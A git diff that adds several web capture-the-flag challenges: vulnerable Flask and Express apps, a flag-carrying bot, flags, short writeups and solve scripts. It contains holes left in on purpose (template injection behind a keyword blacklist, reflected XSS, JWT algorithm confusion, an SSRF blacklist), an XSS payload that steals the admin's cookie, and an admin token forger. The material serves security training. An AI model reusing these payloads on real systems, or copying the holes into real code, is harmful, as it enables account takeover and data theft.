+ "Cut the dough into triangles, roll them into crescent shapes, and let them rise for 1 hour.",
+ "Brush with egg wash and bake at 375°F (190°C) for 20-25 minutes until golden brown.",
+ ],
+ "description": "Croissants are flaky, buttery pastries with a golden crust. A perfect accompaniment to coffee or tea, they are a staple of French bakeries.",
+ },
+ "Apple Pie": {
+ "ingredients": [
+ "2 1/2 cups all-purpose flour",
+ "1 cup unsalted butter",
+ "6 apples (peeled and sliced)",
+ "1/2 cup sugar",
+ "2 tsp cinnamon",
+ "1 egg (for egg wash)",
+ ],
+ "instructions": [
+ "Prepare the crust by mixing flour and butter. Chill for 30 minutes.",
+ "Roll out the dough and line a pie dish with half of it.",
+ "Fill with apples mixed with sugar and cinnamon.",
+ "Cover with the remaining dough, seal the edges, and cut slits on top.",
+ "Brush with egg wash and bake at 375°F (190°C) for 50 minutes.",
+ ],
+ "description": "Apple Pie is a classic dessert with a flaky crust and a sweet, spiced apple filling. Perfect with a scoop of vanilla ice cream!",
+ }
+ }
+ recipe_name = recipe_name.lower()
+ recipe = recipe_data.get(recipe_name, {})
+ return render_template(
+ "recipe.html",
+ recipe_name=recipe_name,
+ ingredients=recipe.get("ingredients", []),
+ instructions=recipe.get("instructions", []),
+ description=recipe.get("description", "No description available."),
+ )
+
+blacklist = [
+ 'config',
+ 'self',
+ '__class__',
+ '__mro__',
+ '__init__',
+ '__getitem__',
+ '__globals__',
+ '__builtins__',
+ '__os__',
+ 'subprocess',
+ 'eval',
+ '__module__',
+ '__subclasses__',
+ '__name__',
+ '<',
+]
+
+
+@app.route('/share', methods=['POST'])
+def add_recipe():
+ name = request.form.get('name', '')
+ for i in blacklist:
+ if i in name:
+ print(i,"found")
+ return render_template_string("Unacceptable input found !")
+ try:
+ template = f"""
+
+
+
+
+
+ Thank You for Joining!
+
+
+
+
+
Thank You, {name}!
+
We appreciate you sharing your recipe with us! Stay tuned for more delicious updates.
+
+ Go Back
+
+
+
+
+
+
+"""
+
+ return render_template_string(template)
+ except:
+ return render_template_string("An error occurred while adding the recipe.")
+
+
+if __name__ == '__main__':
+ app.run(host="0.0.0.0", port=9000, debug=True)
diff --git a/Web/dessert_diaries/deployment/requirements.txt b/Web/dessert_diaries/deployment/requirements.txt
new file mode 100644
index 0000000..8ab6294
--- /dev/null
+++ b/Web/dessert_diaries/deployment/requirements.txt
@@ -0,0 +1 @@
+flask
\ No newline at end of file
diff --git a/Web/dessert_diaries/deployment/static/Jalebi.webp b/Web/dessert_diaries/deployment/static/Jalebi.webp
new file mode 100644
index 0000000..9c1e5fa
Binary files /dev/null and b/Web/dessert_diaries/deployment/static/Jalebi.webp differ
diff --git a/Web/dessert_diaries/deployment/static/berry.jpg b/Web/dessert_diaries/deployment/static/berry.jpg
new file mode 100644
index 0000000..6900091
Binary files /dev/null and b/Web/dessert_diaries/deployment/static/berry.jpg differ
diff --git a/Web/dessert_diaries/deployment/static/burger.jpg b/Web/dessert_diaries/deployment/static/burger.jpg
new file mode 100644
index 0000000..05555d0
Binary files /dev/null and b/Web/dessert_diaries/deployment/static/burger.jpg differ
diff --git a/Web/dessert_diaries/deployment/static/croissant.jpg b/Web/dessert_diaries/deployment/static/croissant.jpg
new file mode 100644
index 0000000..1cd707a
Binary files /dev/null and b/Web/dessert_diaries/deployment/static/croissant.jpg differ
diff --git a/Web/dessert_diaries/deployment/static/doughnut.jpg b/Web/dessert_diaries/deployment/static/doughnut.jpg
new file mode 100644
index 0000000..326bf53
Binary files /dev/null and b/Web/dessert_diaries/deployment/static/doughnut.jpg differ
diff --git a/Web/dessert_diaries/deployment/static/macaron.jpg b/Web/dessert_diaries/deployment/static/macaron.jpg
new file mode 100644
index 0000000..2c0c332
Binary files /dev/null and b/Web/dessert_diaries/deployment/static/macaron.jpg differ
diff --git a/Web/dessert_diaries/deployment/templates/homepage.html b/Web/dessert_diaries/deployment/templates/homepage.html
new file mode 100644
index 0000000..4a4f2f6
--- /dev/null
+++ b/Web/dessert_diaries/deployment/templates/homepage.html
@@ -0,0 +1,97 @@
+
+
+
+
+
+ The Dessert Diaries
+
+
+
+
+
+
+
+
+
+
+
Sweet Recipes
+
Explore a wide variety of irresistible sweet treats that are sure to satisfy your cravings!
+
+
+
+
+
+
+
Featured Sweet Recipes
+
+
+
+
+
+
+
Share Your Favorite Sweet Recipe
+
We love discovering new sweet creations! Share your recipe or any sweet tips you have with us.
+
+
+
+
+
+
+ © 2025 The Dessert Diaries. All Rights Reserved.
+
+
+
+
diff --git a/Web/dessert_diaries/deployment/templates/recipe.html b/Web/dessert_diaries/deployment/templates/recipe.html
new file mode 100644
index 0000000..537abc5
--- /dev/null
+++ b/Web/dessert_diaries/deployment/templates/recipe.html
@@ -0,0 +1,69 @@
+
+
+
+
+
+ Recipe
+
+
+
+
+
+
+ {{ recipe_name | upper }}
+
+
+
+
+
Recipe Details
+
Here is the recipe for {{ recipe_name }} .
+
+
+
+ Ingredients
+
+ {% for ingredient in ingredients %}
+ {{ ingredient }}
+ {% endfor %}
+
+
+
+
+ Instructions
+
+ {% for step in instructions %}
+ {{ step }}
+ {% endfor %}
+
+
+
+
+
+
+
+
+
+
+
+
© 2025 The Dessert Diaries. All Rights Reserved.
+
+
+
+
diff --git a/Web/jinxed/README.md b/Web/jinxed/README.md
new file mode 100644
index 0000000..df849d2
--- /dev/null
+++ b/Web/jinxed/README.md
@@ -0,0 +1,44 @@
+# Jinxed
+
+### Difficulty
+hard
+
+### Challenge Description
+
+Bring down the bot, from the undercity.
+
+# Short Writeup: CSP Bypass, WAF Restriction, and XSS Exploitation
+
+## Challenge Overview
+The challenge involved exploiting multiple vulnerabilities in a web application:
+
+1. **CSP Bypass**: A strict CSP (`default-src 'self'`) was misconfigured, allowing bypasses through quirks in resource handling.
+2. **Error Page XSS**: Invalid paths returned `200 OK` with reflective XSS opportunities.
+3. **WAF Restrictions**: A basic WAF blocked specific special characters (`<`, `>`, etc.), requiring creative encoding techniques to craft payloads.
+4. **/report Endpoint**: A vulnerable endpoint (`/report?url=...`) visited attacker-supplied URLs, enabling SSRF and admin-side XSS execution.
+
+## Exploitation Highlights
+
+### 1. WAF Bypass
+Encoded payloads like `<` were used to circumvent the WAF restrictions on `<`, `>`, and similar characters.
+
+### 2. XSS Execution
+The error page allowed injection of JavaScript via a crafted URL:
+```html
+
+```
+### 3. Flag Retrieval
+The XSS payload was sent to the admin via the /report endpoint:
+```html
+/report?url=http://example.com/x/;location.href='/'+encodeURI(document.cookie);
+```
+This successfully stole the admin's cookie, revealing the flag.
+
+
+### Flag
+
+inctfj{P3RH4P5_E330RS_W3R3_TH3_W4Y_T0_5UCC33D}
+
+### Author
+
+**k0w4lzk1**
\ No newline at end of file
diff --git a/Web/jinxed/admin/exploit/writeup.md b/Web/jinxed/admin/exploit/writeup.md
new file mode 100644
index 0000000..df30176
--- /dev/null
+++ b/Web/jinxed/admin/exploit/writeup.md
@@ -0,0 +1,62 @@
+## Challenge Writeup: CSP Bypass, WAF Restriction, and XSS Exploitation
+
+### Summary of the Challenge
+The web application presented a series of vulnerabilities, including:
+
+1. **Strict Content Security Policy (CSP):** While the CSP was configured to restrict content sources, a bypass was possible due to exploitable behaviors.
+2. **/report Endpoint Vulnerability:** A `/report` endpoint accepted a `url` parameter and visited the URL, potentially enabling SSRF and other attacks.
+3. **Error Page XSS:** The application’s error page rendered arbitrary input as HTML with a `200 OK` status instead of a proper `404 Not Found`, leading to an XSS vulnerability.
+4. **Basic Web Application Firewall (WAF):** A WAF was in place to block payloads containing the first occurrences of `<`, `>`, `"`, `'`, and `` ` ``, introducing additional challenges in crafting exploit payloads.
+
+---
+
+### Observations and Findings
+
+1. **Strict CSP:**
+ - The application implemented a CSP allowing only self-hosted resources (`default-src 'self'`). Inline styles (`unsafe-inline`) were permitted, but inline scripts were blocked.
+ - Despite these restrictions, misconfigurations/Quirks in the application left room for bypasses.
+
+2. **/report Endpoint:**
+ - The `/report` endpoint accepted a `url` parameter and triggered a server-side visit to the specified URL.
+ - This endpoint introduced opportunities for server-side request forgery (SSRF) or leveraging the bot to trigger client-side vulnerabilities.
+
+3. **Error Page Vulnerability:**
+ - Accessing an invalid path returned a `200 OK` status and rendered the requested path as `text/html`.
+ - This behavior allowed for reflective XSS by injecting scripts or malicious HTML into the path.
+
+4. **WAF Restrictions:**
+ - The WAF blocked the first occurrence of specific special characters, such as `<`, `>`, `"`, `'`, and `` ` ``.
+ - Crafting payloads required creative encoding or avoidance strategies to bypass these restrictions.
+
+---
+
+### Exploitation Process
+
+#### **Step 1: Bypassing the WAF**
+To bypass the WAF restrictions:
+ - Used encoded characters or alternate representations of blocked characters.
+ - For example, the character `<` could be replaced with its HTML entity (`<`) or omitted in favor of alternative scripting techniques.
+
+#### **Step 2: XSS via Error Page**
+The error page’s behavior allowed a crafted URL like the following to execute arbitrary JavaScript:
+
+```
+http://example.com/x/;console.log()//
+```
+
+With the WAF in place, the payload was adjusted to bypass the restrictions:
+
+```
+<`"'>
+```
+
+This encoded payload successfully executed JavaScript while circumventing WAF checks.
+
+
+Once you get he xss you can just directly send it to the admin which is sitting on /report?url=
+
+ ```
+ <>"'`
+ ```
+
+You can steal the cookie of the admin which ends up being the flag and hence challenge completed
\ No newline at end of file
diff --git a/Web/jinxed/deployment/Dockerfile b/Web/jinxed/deployment/Dockerfile
new file mode 100644
index 0000000..2b45099
--- /dev/null
+++ b/Web/jinxed/deployment/Dockerfile
@@ -0,0 +1,44 @@
+FROM node:18-slim
+
+ENV allowedDomains="localhost"
+ENV APP_URL="http://localhost:3000"
+ENV FLAG="inctfj{P3RH4P5_E330RS_W3R3_TH3_W4Y_T0_5UCC33D}"
+
+RUN apt-get update && apt-get install -y \
+ wget \
+ ca-certificates \
+ fontconfig \
+ libx11-dev \
+ libxcomposite1 \
+ libxrandr2 \
+ libxtst6 \
+ libappindicator3-1 \
+ libnss3 \
+ libgdk-pixbuf2.0-0 \
+ libgbm1 \
+ libxss1 \
+ libasound2 \
+ libatk-bridge2.0-0 \
+ libatk1.0-0 \
+ libnspr4 \
+ libxdamage1 \
+ libpangocairo-1.0-0 \
+ libpango-1.0-0 \
+ libgl1-mesa-glx \
+ libegl1-mesa \
+ libvulkan1 \
+ --no-install-recommends \
+ && rm -rf /var/lib/apt/lists/*
+
+WORKDIR /usr/src/app
+
+COPY ./src/package*.json ./
+
+RUN npm install
+
+COPY ./src .
+
+EXPOSE 3000
+
+CMD ["npm", "start"]
+
diff --git a/Web/jinxed/deployment/src/app.js b/Web/jinxed/deployment/src/app.js
new file mode 100644
index 0000000..3bd8243
--- /dev/null
+++ b/Web/jinxed/deployment/src/app.js
@@ -0,0 +1,219 @@
+import express from 'express';
+import crypto from 'crypto';
+import { v4 as uuidv4 } from 'uuid';
+import puppeteer from 'puppeteer';
+import session from 'express-session';
+import { visit } from './bot.js';
+
+const app = express();
+
+app.use(express.json());
+app.use(express.urlencoded({ extended: true }));
+const secret = crypto.randomBytes(32).toString('hex');
+app.use(session({
+ secret: secret,
+ resave: false,
+ saveUninitialized: true,
+ cookie: { secure: false }
+}));
+
+const notes = [];
+
+app.use((req, res, next) => {
+ res.set({
+ "Content-Security-Policy": "default-src 'self';style-src 'unsafe-inline'; script-src 'self'",
+ })
+ next();
+});
+
+app.get('/', (req, res) => {
+ const nonce = crypto.randomBytes(16).toString('hex');
+
+ if (!req.session.userId) {
+ req.session.userId = uuidv4();
+ }
+
+ const userNotes = notes.filter(note => note.userId === req.session.userId );
+
+ const notesHtml = userNotes
+ .map(
+ (note, index) =>
+ `Note ${index + 1}: View `
+ )
+ .join('');
+
+ res.send(`
+
+
+
+ Simple Note App
+
+
+
+
+
+ Add a Note
+
+
+ Add Note
+
+ Your Notes
+
+
+
+
+ `);
+});
+
+// Add note route
+app.post('/add', (req, res) => {
+ const { note } = req.body;
+ if (!note || note.trim() === '') {
+ return res.status(400).send('Note content cannot be empty.');
+ }
+
+ if (!req.session.userId) {
+ return res.status(401).send('You must be logged in to add notes.');
+ }
+
+ const safeNote = note.replace('<', '').replace('>', '').replace('"', '').replace("'", '').replace('`', '');
+
+ const id = uuidv4();
+ notes.push({ id, content: safeNote, userId: req.session.userId });
+ res.redirect('/');
+});
+
+app.get('/note/:id', (req, res) => {
+ const nonce = crypto.randomBytes(16).toString('hex');
+
+ const note = notes.find((n) => n.id === req.params.id);
+
+ if (!note) {
+ return res.status(404).send('Note not found');
+ }
+
+ res.send(`
+
+
+
+ View Note
+
+
+
+
+ Note Details
+ ID: ${note.id}
+ Content: ${note.content}
+ Back to Home
+
+
+
+ `);
+});
+
+app.get('/report', async (req, res) => {
+ const queryUrl = req.query.url;
+
+ if (!queryUrl) {
+ return res.status(400).send('Bad Request: No URL provided in "url" parameter');
+ }
+
+ try {
+ await visit(queryUrl);
+ res.send('URL has been visited successfully.');
+ } catch (err) {
+ console.error(err);
+ res.status(500).send('Internal Server Error');
+ }
+});
+
+app.get('*',(req,res)=>{
+ res.set('Content-Type','text/plain');
+ res.status = 404;
+ res.send(`Error: ${req.originalUrl} was not found`);
+});
+
+// Start the server
+const listener = app.listen(process.env.PORT || 3000, () => {
+ console.log(`Your app is listening on port ${listener.address().port}`);
+});
diff --git a/Web/jinxed/deployment/src/bot.js b/Web/jinxed/deployment/src/bot.js
new file mode 100644
index 0000000..b39afc1
--- /dev/null
+++ b/Web/jinxed/deployment/src/bot.js
@@ -0,0 +1,56 @@
+import puppeteer from 'puppeteer';
+
+const APP_URL = process.env.APP_URL || 'http://localhost:3000';
+const FLAG = process.env.FLAG || 'inctfj{P3RH4P5_E330RS_W3R3_TH3_W4Y_T0_5UCC33D}';
+const allowedDomains = (process.env.ALLOWED_DOMAINS || 'localhost').split(',');
+
+const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));
+
+export const visit = async (url) => {
+ try {
+ if (!/^https?:\/\//i.test(url)) {
+ url = `http://${url}`;
+ }
+
+ const parsedUrl = new URL(url);
+
+ // Check if the domain is allowed
+ if (!allowedDomains.includes(parsedUrl.hostname)) {
+ throw new Error(`Domain ${parsedUrl.hostname} is not allowed`);
+ }
+
+ console.log(`start: ${url}`);
+
+ const browser = await puppeteer.launch({
+ headless: true,
+ args: [
+ '--no-sandbox',
+ '--disable-dev-shm-usage',
+ ],
+ });
+
+ const page = await browser.newPage();
+
+ await page.goto(APP_URL, { timeout: 5000 });
+
+ await page.setCookie({
+ name: 'flag',
+ value: FLAG,
+ domain: 'localhost',
+ path: '/',
+ httpOnly: false,
+ secure: false,
+ });
+
+ console.log('Flag set in the bot\'s cookie storage.');
+
+ await page.goto(parsedUrl.toString(), { timeout: 5000 });
+ await sleep(5000);
+ await page.close();
+
+ await browser.close();
+ console.log(`end: ${url}`);
+ } catch (e) {
+ console.error('Invalid URL or Error during visit:', e);
+ }
+};
diff --git a/Web/jinxed/deployment/src/package.json b/Web/jinxed/deployment/src/package.json
new file mode 100644
index 0000000..9267386
--- /dev/null
+++ b/Web/jinxed/deployment/src/package.json
@@ -0,0 +1,28 @@
+{
+ "name": "synchrony",
+ "version": "1.0.0",
+ "description": "A simple note-taking application with enhanced security features.",
+ "main": "app.js",
+ "type": "module",
+ "scripts": {
+ "start": "node app.js",
+ "dev": "nodemon app.js"
+ },
+ "dependencies": {
+ "express": "^4.21.2",
+ "express-session": "^1.18.1",
+ "puppeteer": "^23.10.4",
+ "uuid": "^11.0.3"
+ },
+ "devDependencies": {
+ "nodemon": "^3.0.1"
+ },
+ "keywords": [
+ "express",
+ "puppeteer",
+ "notes",
+ "nodejs"
+ ],
+ "author": "Your Name",
+ "license": "MIT"
+}
diff --git a/Web/joke-api/README.md b/Web/joke-api/README.md
new file mode 100644
index 0000000..2173000
--- /dev/null
+++ b/Web/joke-api/README.md
@@ -0,0 +1,22 @@
+# Joke API
+
+### Difficulty
+medium
+
+### Challenge Description
+
+Anyone can take a joke, but can you take a secret joke?
+
+### Short Writeup
+
++ Get the public key by making use of LFI.
++ Then using the public key change the algorithm from RS to HS and then sign the key.
++ Then visit the `/jokes` endpoint to get the SECRET joke.
+
+### Flag
+
+inctfj{Why_do_programmers_prefer_dark_mode?_Because_light_attracts_bugs!}
+
+### Author
+
+**exigent07**
\ No newline at end of file
diff --git a/Web/joke-api/admin/exploit/Dockerfile b/Web/joke-api/admin/exploit/Dockerfile
new file mode 100644
index 0000000..b51d014
--- /dev/null
+++ b/Web/joke-api/admin/exploit/Dockerfile
@@ -0,0 +1,9 @@
+FROM python:3.9-slim
+
+WORKDIR /app
+
+COPY solve.py /app/solve.py
+
+RUN pip install pyjwt==1.5.0
+
+CMD ["python", "solve.py"]
diff --git a/Web/joke-api/admin/exploit/solve.py b/Web/joke-api/admin/exploit/solve.py
new file mode 100644
index 0000000..07ea0a6
--- /dev/null
+++ b/Web/joke-api/admin/exploit/solve.py
@@ -0,0 +1,8 @@
+import jwt
+
+public_key = ""
+
+payload = {"username": "admin", "admin": True}
+token = jwt.encode(payload, public_key, algorithm='HS256')
+
+print(f"Forged token: {token}")
diff --git a/Web/joke-api/deployment/Dockerfile b/Web/joke-api/deployment/Dockerfile
new file mode 100644
index 0000000..2ef4043
--- /dev/null
+++ b/Web/joke-api/deployment/Dockerfile
@@ -0,0 +1,21 @@
+FROM python:3.9-slim
+
+WORKDIR /app
+
+RUN apt-get update && apt-get install -y openssl
+
+RUN openssl genrsa -out private_rsa.pem 2048 && \
+ openssl rsa -in private_rsa.pem -traditional -out private.pem && \
+ openssl rsa -in private_rsa.pem -traditional -pubout -out public_rsa.pem && \
+ openssl rsa -in public_rsa.pem -pubin -RSAPublicKey_out -out public.pem
+
+RUN rm private_rsa.pem public_rsa.pem
+
+COPY . .
+
+RUN pip install -r requirements.txt
+
+EXPOSE 1337
+
+CMD ["python", "app.py"]
+
diff --git a/Web/joke-api/deployment/animal.json b/Web/joke-api/deployment/animal.json
new file mode 100644
index 0000000..626b7d2
--- /dev/null
+++ b/Web/joke-api/deployment/animal.json
@@ -0,0 +1,7 @@
+{
+ "1": "Why don't cats play poker in the jungle? Too many cheetahs!",
+ "2": "Why did the lion eat the tightrope walker? He wanted a well-balanced meal.",
+ "3": "What do you get when you cross a snake and a pie? A python!",
+ "4": "Why do cows have hooves instead of feet? Because they lactose!",
+ "5": "What do you call a fish with no eyes? Fsh!"
+}
diff --git a/Web/joke-api/deployment/app.py b/Web/joke-api/deployment/app.py
new file mode 100644
index 0000000..c8f652c
--- /dev/null
+++ b/Web/joke-api/deployment/app.py
@@ -0,0 +1,94 @@
+import json
+import jwt
+import random
+import os
+from flask import Flask, request, jsonify, render_template
+
+app = Flask(__name__)
+
+with open('private.pem', 'rb') as f:
+ PRIVATE_KEY = f.read()
+with open('public.pem', 'rb') as f:
+ PUBLIC_KEY = f.read()
+
+SECRET_JOKE = "inctfj{Why do programmers prefer dark mode? Because light attracts bugs!}"
+
+def get_token_from_header():
+ auth_header = request.headers.get('Authorization')
+ if not auth_header or not auth_header.startswith('Bearer '):
+ return None, {"error": "Authorization header is missing or invalid."}
+
+ token = auth_header.split(" ")[1]
+ return token, None
+
+def sanitize_joke_type(joke_type):
+ app.logger.warning(f"Path: {os.getcwd()}")
+ safe_joke_type = os.path.basename(joke_type)
+ return safe_joke_type
+
+@app.route('/')
+def home():
+ return render_template('index.html')
+
+@app.route('/docs')
+def docs():
+ return render_template('docs.html')
+
+@app.route('/generate_token', methods=['POST'])
+def generate_token():
+ data = request.json
+ username = data.get("username", None)
+ if not username:
+ return jsonify({"error": "Username is required"}), 400
+
+ try:
+ token = jwt.encode(
+ {"username": username, "admin": False},
+ PRIVATE_KEY,
+ algorithm='RS256'
+ )
+ return jsonify({"token": token.decode('utf-8')}), 200
+ except Exception as e:
+ return jsonify({"error": str(e)}), 500
+
+@app.route('/jokes', methods=['GET'])
+def get_joke():
+ token, error = get_token_from_header()
+ if error:
+ return jsonify(error), 401
+
+ joke_type = request.args.get('type', 'general.json')
+
+ joke_type = sanitize_joke_type(joke_type)
+
+ app.logger.warning(f"Type: {joke_type}")
+
+ try:
+ with open(f"/app/{joke_type}", 'r') as f:
+ file_content = f.read()
+
+ try:
+ jokes = json.loads(file_content)
+ except json.JSONDecodeError as e:
+ app.logger.warning(f"Content: {file_content}")
+ return jsonify({"error": f"JSON parsing error: {str(e)}", "file_content": file_content}), 400
+
+ except FileNotFoundError:
+ return jsonify({"error": f"Jokes of type '{joke_type}' not found."}), 404
+
+ try:
+ decoded = jwt.decode(token, PUBLIC_KEY, algorithms=['HS256', 'RS256'])
+ except Exception as e:
+ return jsonify({"error": str(e)}), 401
+
+ if "admin" in decoded and decoded["admin"]:
+ return jsonify({"joke": f"Top secret joke: {SECRET_JOKE}"})
+ elif "username" in decoded:
+ username = decoded["username"]
+ random_joke = random.choice(list(jokes.values()))
+ return jsonify({"joke": f"Welcome {username}, here's a joke: {random_joke}"})
+ else:
+ return jsonify({"error": "Invalid session, goodbye."}), 403
+
+if __name__ == '__main__':
+ app.run(debug=False, host='0.0.0.0', port=1337)
diff --git a/Web/joke-api/deployment/cooking.json b/Web/joke-api/deployment/cooking.json
new file mode 100644
index 0000000..0961bf3
--- /dev/null
+++ b/Web/joke-api/deployment/cooking.json
@@ -0,0 +1,7 @@
+{
+ "1": "Why don't eggs tell jokes? They might crack up!",
+ "2": "I tried to make a belt out of watches, but it was a waist of time.",
+ "3": "What did the pizza say to the delivery guy? 'You’re the best! I’m so saucy!'",
+ "4": "Why do pancakes always have good manners? Because they know how to handle syrup!",
+ "5": "I burned my Hawaiian pizza. I should have put it on a low 'island' temperature."
+}
diff --git a/Web/joke-api/deployment/general.json b/Web/joke-api/deployment/general.json
new file mode 100644
index 0000000..c2eab34
--- /dev/null
+++ b/Web/joke-api/deployment/general.json
@@ -0,0 +1,7 @@
+{
+ "1": "Why don't skeletons fight each other? They don't have the guts!",
+ "2": "Why can't you trust an atom? Because they make up everything!",
+ "3": "What do you call fake spaghetti? An impasta!",
+ "4": "I told my wife she was drawing her eyebrows too high. She looked surprised.",
+ "5": "Why did the bicycle fall over? Because it was two-tired!"
+}
diff --git a/Web/joke-api/deployment/programming.json b/Web/joke-api/deployment/programming.json
new file mode 100644
index 0000000..2a9747c
--- /dev/null
+++ b/Web/joke-api/deployment/programming.json
@@ -0,0 +1,7 @@
+{
+ "1": "Why do programmers prefer dark mode? Because light attracts bugs!",
+ "2": "Why do Python developers wear glasses? Because they can't C!",
+ "3": "I have a joke about debugging, but I’ll need to check it for errors first.",
+ "4": "Why do Java developers wear glasses? Because they can't C#.",
+ "5": "Why did the developer go broke? Because he used up all his cache!"
+}
diff --git a/Web/joke-api/deployment/requirements.txt b/Web/joke-api/deployment/requirements.txt
new file mode 100644
index 0000000..9a6ab1e
--- /dev/null
+++ b/Web/joke-api/deployment/requirements.txt
@@ -0,0 +1,3 @@
+Flask
+pyjwt==1.5.0
+cryptography==2.6.1
\ No newline at end of file
diff --git a/Web/joke-api/deployment/sports.json b/Web/joke-api/deployment/sports.json
new file mode 100644
index 0000000..66fb0c6
--- /dev/null
+++ b/Web/joke-api/deployment/sports.json
@@ -0,0 +1,7 @@
+{
+ "1": "Why was the football team so good? Because they had a lot of goals!",
+ "2": "Why did the baseball team hire a detective? Because they wanted to catch a fly ball.",
+ "3": "What’s a basketball player’s favorite place to hang out? The ‘court’!",
+ "4": "Why do swimmers hate math? Because they can’t handle the numbers!",
+ "5": "Why don't tennis players ever get married? Because love means nothing to them!"
+}
diff --git a/Web/joke-api/deployment/templates/base.html b/Web/joke-api/deployment/templates/base.html
new file mode 100644
index 0000000..b3ee141
--- /dev/null
+++ b/Web/joke-api/deployment/templates/base.html
@@ -0,0 +1,146 @@
+
+
+
+
+
+ {{ title }}
+
+
+
+
+
+
+ {% block content %}{% endblock %}
+
+
+ © 2024 Joke API | Powered by Flask
+
+
+
diff --git a/Web/joke-api/deployment/templates/docs.html b/Web/joke-api/deployment/templates/docs.html
new file mode 100644
index 0000000..7c294ef
--- /dev/null
+++ b/Web/joke-api/deployment/templates/docs.html
@@ -0,0 +1,142 @@
+{% extends "base.html" %}
+
+{% block content %}
+API Documentation
+Welcome to the Joke API! This API allows you to get random jokes of different types. You can request jokes by specifying a joke type in the query parameters, and you must provide an authorization token in the headers for the request to be successful.
+
+Base URL
+The base URL for the API is:
+http://localhost:1337/
+
+Endpoints
+The following endpoint is available to interact with the Joke API:
+GET /jokes/
+
+Authorization
+To access the joke API, you must include an Authorization header with a Bearer token. The token should be provided when calling the API. The token can be generated by making a POST request to the /generate_token
endpoint.
+
+Authorization Header Format
+
+Authorization: Bearer
+
+
+Generate Token
+To generate a token, make a POST request to /generate_token
with the username provided in the body:
+
+POST /generate_token
+Body:
+{
+ "username": ""
+}
+
+
+In response, you will receive a token that you can use for authorization:
+
+{
+ "token": ""
+}
+
+
+Requesting Jokes
+Once you have the token, you can request jokes from the API by making a GET request to /jokes/
with the token and optional type query parameter to specify the type of joke. If no type is provided, the default type is general.json .
+
+Joke Request Example
+
+GET /jokes?type=programming.json
+
+
+Joke Types
+The following joke types are available:
+
+ general.json : A collection of general jokes suitable for all audiences.
+ programming.json : Jokes related to programming and developers.
+ cooking.json : Cooking and food-related jokes.
+ animal.json : Jokes related to animals.
+ sports.json : Classic sports jokes.
+
+
+Note: The joke type must match one of the available files (e.g., programming.json
, general.json
, etc.). If the joke type doesn't exist or is malformed, you will receive an error response.
+
+Responses
+The API provides different responses depending on the success or failure of your request.
+
+Success Response (200)
+If the authorization is valid and the joke type exists, the response will contain the selected joke. The joke will be chosen randomly from the jokes of that type:
+
+{
+ "joke": "Welcome , here's a joke: Why don't skeletons fight each other? They don't have the guts!"
+}
+
+
+Errors
+The API will return different error responses depending on the issue:
+
+Error 401 - Unauthorized
+If the authorization header is missing or invalid (i.e., the token is not provided or is incorrect):
+
+{
+ "error": "Authorization header is missing or invalid."
+}
+
+
+Error 403 - Forbidden
+If the token is invalid or the session is expired:
+
+{
+ "error": "Invalid session, goodbye."
+}
+
+
+Error 404 - Not Found
+If the specified joke type does not exist or is incorrectly named (e.g., type=funny.json
which doesn't exist):
+
+{
+ "error": "Jokes of type 'funny.json' not found."
+}
+
+
+Error 400 - Bad Request (JSON Parsing Error)
+If there is an issue parsing the JSON file for the specified joke type (e.g., if the file is malformed or contains invalid JSON), you will receive this error along with the raw file content:
+
+{
+ "error": "JSON parsing error: ",
+ "file_content": ""
+}
+
+
+Example Flow
+
+ Make a POST request to /generate_token
with the username:
+
+ POST /generate_token
+ {
+ "username": "user123"
+ }
+
+ Response:
+
+ {
+ "token": ""
+ }
+
+
+ Use the generated token to request a joke. Include the Authorization header with the Bearer token:
+
+ GET /jokes?type=programming.json
+ Authorization: Bearer
+
+ Response:
+
+ {
+ "joke": "Welcome user123, here's a joke: Why do programmers prefer dark mode? Because light attracts bugs!"
+ }
+
+
+
+Security Notes
+
+ Tokens are used for authentication, and each user has a unique token generated with their username.
+ Always keep your token secure and do not expose it in public repositories or logs.
+
+
+{% endblock %}
diff --git a/Web/joke-api/deployment/templates/index.html b/Web/joke-api/deployment/templates/index.html
new file mode 100644
index 0000000..f4fd882
--- /dev/null
+++ b/Web/joke-api/deployment/templates/index.html
@@ -0,0 +1,7 @@
+{% extends "base.html" %}
+
+{% block content %}
+Welcome to the Joke API
+This is a simple API that serves jokes. Use the `/jokes` endpoint with an authorization token to get a joke.
+For more details, visit our API Documentation .
+{% endblock %}
diff --git a/Web/joke-api/handout/.gitinclude b/Web/joke-api/handout/.gitinclude
new file mode 100644
index 0000000..e69de29
diff --git a/Web/joke-api/joke-api.zip b/Web/joke-api/joke-api.zip
new file mode 100644
index 0000000..715057a
Binary files /dev/null and b/Web/joke-api/joke-api.zip differ
diff --git a/Web/proxy-search/README.md b/Web/proxy-search/README.md
new file mode 100644
index 0000000..468113c
--- /dev/null
+++ b/Web/proxy-search/README.md
@@ -0,0 +1,20 @@
+# Proxy Search
+
+### Difficulty
+easy
+
+### Challenge Description
+
+Afraid of getting caught use our proxy search to be anonymous...
+
+### Short Writeup
+
++ Use `localh.st` to bypass the check and access `/flag`
+
+### Flag
+
+inctfj{localhost_only_access}
+
+### Author
+
+**exigent07**
\ No newline at end of file
diff --git a/Web/proxy-search/admin/exploit/README.md b/Web/proxy-search/admin/exploit/README.md
new file mode 100644
index 0000000..95320e7
--- /dev/null
+++ b/Web/proxy-search/admin/exploit/README.md
@@ -0,0 +1,5 @@
+# Exploit
+
+- Use `localh.st` to bypass the check and access /flag
+
+> [Flag Link](http://localh.st:1337/flag)
\ No newline at end of file
diff --git a/Web/proxy-search/deployment/Dockerfile b/Web/proxy-search/deployment/Dockerfile
new file mode 100644
index 0000000..14d2d7b
--- /dev/null
+++ b/Web/proxy-search/deployment/Dockerfile
@@ -0,0 +1,12 @@
+FROM python:3.9-slim
+
+WORKDIR /app
+
+COPY . .
+
+RUN pip install -r requirements.txt
+
+EXPOSE 1337
+
+CMD ["python", "app.py"]
+
diff --git a/Web/proxy-search/deployment/app.py b/Web/proxy-search/deployment/app.py
new file mode 100644
index 0000000..7567821
--- /dev/null
+++ b/Web/proxy-search/deployment/app.py
@@ -0,0 +1,86 @@
+from flask import Flask, render_template, request, abort
+import requests
+from urllib.parse import urlparse
+import ipaddress
+
+app = Flask(__name__)
+
+FLAG = "inctfj{localhost_only_access}"
+
+BLACKLISTED_HOSTNAMES = ["localhost", "127.0.0.1", "0.0.0.0",]
+BLACKLISTED_IP_RANGES = [
+ ipaddress.ip_network("10.0.0.0/8"),
+ ipaddress.ip_network("172.16.0.0/12"),
+ ipaddress.ip_network("192.168.0.0/16"),
+ ipaddress.ip_network("169.254.0.0/16"),
+ ipaddress.ip_network("::1/128"),
+ ipaddress.ip_network("fc00::/7"),
